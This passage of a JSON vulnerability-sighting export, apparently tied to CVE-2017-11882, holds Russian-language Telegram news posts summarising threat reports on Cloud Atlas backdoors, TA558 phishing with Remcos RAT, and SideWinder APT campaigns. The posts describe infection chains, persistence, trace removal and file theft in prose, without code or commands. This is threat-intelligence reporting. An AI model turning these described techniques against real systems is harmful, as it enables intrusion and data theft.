\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTML-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA), \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 (NTFS ADS) \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %APPDATA%\\Roaming\\Microsoft\\Windows\\, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 VBShower, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043b\u0430\u0443\u043d\u0447\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0443\u043b\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0414\u0440\u0443\u0433\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 VB - \u044d\u0442\u043e \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 \"\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\\", \u0432 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0433\u043e \u0438 \u043b\u0430\u0443\u043d\u0447\u0435\u0440\u0430, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0441\u043b\u0435\u0434\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 VBShower \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 VBS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2, \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0444\u0430\u0439\u043b\u0430\u0445, \u0438\u043c\u0435\u043d\u0430\u0445 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 PowerShower \u0438 VBCloud.\n\nPowerShower \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d VBShower \u043f\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442\u044b PowerShell \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 C2. \u041e\u043d \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u043d\u0430\u0449\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 ZIP.\n\nVBCloud \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043a\u0430\u043a VBShower, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 C2. \u041e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437, \u043a\u043e\u0433\u0434\u0430 \u0436\u0435\u0440\u0442\u0432\u0430 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0434\u0438\u0441\u043a\u0430\u0445, \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435, \u0444\u0430\u0439\u043b\u044b \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 DOC, DOCX, XLS, XLSX, PDF, TXT, RTF \u0438 RAR, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 Telegram.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, PowerShower \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044e, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a VBCloud \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043a\u0440\u0430\u0434\u0435\u0442 \u0444\u0430\u0439\u043b\u044b. \u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u044d\u0442\u0430\u043f\u043e\u0432 \u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u043a\u0440\u0430\u0436\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0412\u0441\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-12-28T16:30:05.000000Z"}, {"uuid": "0cb99bfd-907d-4567-8e4d-e802a2a513d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/6716", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F.A.C.C.T. \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u044b\u0445 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 TA558, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439, \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439, \u0441\u0442\u0440\u043e\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439, \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0444\u0435\u0440\u044b.\n\n\u0412\u0441\u0435\u0433\u043e \u0437\u0430 \u043e\u0434\u0438\u043d \u0434\u0435\u043d\u044c, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0434\u0435\u043e\u0432\u0442\u0430\u043b\u0435\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430 \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 76 \u0442\u044b\u0441. \u0430\u0434\u0440\u0435\u0441\u0430\u0442\u0430\u043c \u0438\u0437 112 \u0441\u0442\u0440\u0430\u043d \u043c\u0438\u0440\u0430.\n\n\u041f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 HTA-\u0444\u0430\u0439\u043b\u0430 \u0441\u043e \u0441\u043a\u0440\u044b\u0442\u044b\u043c \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c VBS-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c.\n\n\u041f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f Remcos RAT, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u0441\u0432\u043e\u0438\u0445 \u0436\u0435\u0440\u0442\u0432.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0422\u0410558 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2018 \u0433\u043e\u0434\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a \u0422\u0410558 - \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0432 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u043c \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0431\u0430\u043d\u043a\u0441\u043a\u0438\u0439 \u0441\u0435\u043a\u0442\u043e\u0440 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.", "creation_timestamp": "2025-02-10T18:30:05.000000Z"}, {"uuid": "8471bbff-038e-45ce-a741-a83ad9d9038f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/6829", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c APT SideWinder, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u042e\u0436\u043d\u043e\u0439 \u0438 \u042e\u0433\u043e-\u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0410\u0437\u0438\u0438, \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435 \u0438 \u0432 \u0410\u0444\u0440\u0438\u043a\u0435 \u0440\u0430\u043d\u0435\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435.\u00a0\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u043b\u0430 \u0441\u0432\u043e\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0441\u0432\u043e\u0438\u0445 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439 (\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435, \u0432\u043e\u0435\u043d\u043d\u044b\u0435 \u0438 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b), \u0437\u0430\u0440\u0430\u0436\u0430\u044f \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u043c\u043e\u0440\u0441\u043a\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \n\n\u041d\u043e\u0432\u044b\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0435 \u041b\u041a \u0430\u0442\u0430\u043a\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u043d\u0430  \u0410\u0432\u0441\u0442\u0440\u0438\u044e, \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448, \u041a\u0430\u043c\u0431\u043e\u0434\u0436\u0443, \u0414\u0436\u0438\u0431\u0443\u0442\u0438, \u0415\u0433\u0438\u043f\u0435\u0442, \u0418\u043d\u0434\u043e\u043d\u0435\u0437\u0438\u044e, \u041c\u043e\u0437\u0430\u043c\u0431\u0438\u043a, \u041c\u044c\u044f\u043d\u043c\u0443, \u041d\u0435\u043f\u0430\u043b, \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d, \u0424\u0438\u043b\u0438\u043f\u043f\u0438\u043d\u044b, \u0428\u0440\u0438-\u041b\u0430\u043d\u043a\u0443, \u041e\u0410\u042d \u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0435.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439 \u0431\u044b\u043b\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0430\u0442\u043e\u043c\u043d\u044b\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438 \u0432 \u042e\u0436\u043d\u043e\u0439 \u0410\u0437\u0438\u0438 \u0438 \u0410\u0444\u0440\u0438\u043a\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435, \u043a\u043e\u043d\u0441\u0430\u043b\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435, \u0418\u0422-\u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043d\u0435\u0434\u0432\u0438\u0436\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0433\u043e\u0441\u0442\u0438\u043d\u0438\u0447\u043d\u044b\u0439 \u0431\u0438\u0437\u043d\u0435\u0441.\n\nSideWinder \u0442\u0430\u043a\u0436\u0435 \u0444\u043e\u043a\u0443\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u0434\u0438\u043f\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0435, \u0410\u043b\u0436\u0438\u0440\u0435, \u0411\u043e\u043b\u0433\u0430\u0440\u0438\u0438, \u041a\u0438\u0442\u0430\u0435, \u0418\u043d\u0434\u0438\u0438, \u041c\u0430\u043b\u044c\u0434\u0438\u0432\u0430\u0445, \u0420\u0443\u0430\u043d\u0434\u0435, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0438, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0423\u0433\u0430\u043d\u0434\u0435.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u0418\u043d\u0434\u0438\u044e \u0438\u043c\u0435\u0435\u0442 \u0432\u0430\u0436\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443\u00a0\u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u0443\u0433\u0440\u043e\u0437\u044b \u0438\u043c\u0435\u0435\u0442 \u0438\u043d\u0434\u0438\u0439\u0441\u043a\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435.\n\n\u041e\u043f\u0438\u0441\u044b\u0432\u0430\u044f APT \u043a\u0430\u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0440\u0430\u0437\u0432\u0438\u0442\u043e\u0433\u043e \u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u044f\u0447\u0430\u044e\u0442, \u0447\u0442\u043e SideWinder \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u0434 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435\u043c \u0441\u0432\u043e\u0438\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043e\u043f\u0435\u0440\u0435\u0436\u0430\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u043c \u041f\u041e, \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u044f \u0441\u0442\u043e\u0439\u043a\u043e\u0441\u0442\u044c \u0432 \u0441\u0435\u0442\u044f\u0445 \u0438 \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u043e\u043d\u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u0443\u044e\u0442, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044f \u043d\u043e\u0432\u0443\u044e \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0447\u0430\u0441\u0442\u043e \u043c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0437\u0430 \u043f\u044f\u0442\u044c \u0447\u0430\u0441\u043e\u0432.\n\n\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, SideWinder \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u044b, 